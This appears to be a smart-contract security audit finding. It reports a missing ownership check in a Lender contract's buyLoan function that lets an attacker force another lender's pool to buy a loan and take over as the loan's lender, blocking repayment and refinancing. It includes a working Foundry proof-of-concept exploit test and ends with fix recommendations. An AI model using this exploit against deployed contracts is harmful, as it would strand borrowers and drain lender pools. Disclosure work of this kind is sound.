Summary
The Lender.buyLoan functions does not check if the msg.sender is the owner of the pool identified by poolId.
Because of this, an attacker without any pool can buy a loan on behalf of a lender without the lender's authorization.
The loan will be accounted by the pool.lender (pool.poolBalance will be reduced and pool.outstandingLoans will be increased) but the loan.lender will be updated to msg.sender.
The following problems will arise:
Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) → underflow
Borrower cannot refinance it because the oldPoolId used by refinance does not exist (see above) and will underflow
Loan cannot be auctioned because now the owner of the Loan is the attacker
NewLender pool has been accounted for a loan that won't be ever repaid. His lenderPool.poolBalance and lenderPool.outstandingLoans has been accounted for a loan that has not been "really" taken by such pool, so all the functions that rely on those accounting variables at some point will revert because of an underflow error
Vulnerability Details
The current implementation of Lender.buyLoan allows anyone to call msg.sender without checking if the pool identified by poolId is indeed owned by msg.sender.
The function also does not check that pools[poolId] uses the same lendingToken and collateralToken used by pools[loanPoolId]. These issues and the consequences will be described in another report.
Because the msg.sender is not checked, this allows an attacker to call buyLoan(auctionedLoanId, existingPoolId) and "force" the owner of existingPoolId to purchase the pool without the existingPoolId owner authorization.
Already this miss authorization issue would be problematic because only the pool owner should be able to purchase a loan. In addition to this problem, the function at the very end executes the following operation: loans[loanId].lender = msg.sender. By doing that, it sets the lender of the Loan to msg.sender that is not the owner of the pool to which the loan has been already accounted for.
To recap:
msg.sender can force another pool owner to purchase the loan without authorization
the newPool is accounted for the loan purchased
newPool.poolBalance is reduced by loan.debt, lenderInterest and protocolInterest
newPool.outstandingLoans is increased by loan.debt, lenderInterest and protocolInterest
msg.sender is set as loan.lender instead of newPool.lender
The result is that
Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) → underflow
Borrower cannot refinance it because the oldPoolId used by refinance does not exist (see above) and will underflow
Loan cannot be auctioned because now the owner of the Loan is the attacker
NewLender pool has been accounted for a loan that won't be ever repaid. His lenderPool.poolBalance and lenderPool.outstandingLoans has been accounted for a loan that has not been "really" taken by such pool, so all the functions that rely on those accounting variables at some point will revert because of an underflow error
Impact
Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) → underflow
Borrower cannot refinance it because the oldPoolId used by refinance does not exist (see above) and will underflow
Loan cannot be auctioned because now the owner of the Loan is the attacker
NewLender pool has been accounted for a loan that won't be ever repaid. His lenderPool.poolBalance and lenderPool.outstandingLoans has been accounted for a loan that has not been "really" taken by such pool, so all the functions that rely on those accounting variables at some point will revert because of an underflow error
Tools Used
Manual + foundry test
BaseLender.sol utility contract
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
}
contract BaseLender is Test {
WrappedLender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
return poolId;
}
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(_lender);
lender.startAuction(loans);
}
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}
AttackerBuyLoanOnBehalfOfLender.t.sol
pragma solidity ^0.8.13;
import "./BaseLender.sol";
contract AttackerBuyLoanOnBehalfOfLenderTest is BaseLender {
function setUp() override public {
super.setUp();
}
function testAttackerChangeLoanLenderViaBuyLoan() public {
bytes32 pool1 = createPool(lender1);
bytes32 pool2 = createPool(lender2);
borrow(borrower, pool1);
uint256 loanId = 0;
vm.warp(block.timestamp + 364 days + 12 hours);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
vm.prank(lender1);
lender.startAuction(loanIds);
vm.warp(block.timestamp + 12 hours);
Pool memory p2Before = lender.getPoolInfo(pool2);
Loan memory loanBefore = lender.getLoanInfo(loanId);
address attacker = makeAddr("attacker");
vm.prank(attacker);
lender.buyLoan(loanId, pool2);
Pool memory p2After = lender.getPoolInfo(pool2);
Loan memory loanAfter = lender.getLoanInfo(loanId);
assertEq(loanBefore.lender, lender1);
assertEq(loanAfter.lender, attacker);
assertLt(p2After.poolBalance, p2Before.poolBalance);
assertGt(p2After.outstandingLoans, p2Before.outstandingLoans);
bytes32 newLoanPoolId = lender.getPoolId(loanAfter.lender, loanAfter.loanToken, loanAfter.collateralToken);
Pool memory attackerPoolInfo = lender.getPoolInfo(newLoanPoolId);
assertEq(attackerPoolInfo.lender, address(0));
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
Refinance memory r = Refinance({
loanId: loanId,
poolId: pool1,
debt: 100 ether,
collateral: 100 ether
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.refinance(rs);
vm.prank(lender2);
vm.expectRevert(Unauthorized.selector);
lender.startAuction(loanIds);
}
}
Recommendations
The buyLoan function should
Check that msg.sender is the owner of the pool identified by poolId
Check that the new pool uses the same lendingPool and collateralPool of the pool that currently owning the loan (this issue will be described in another report)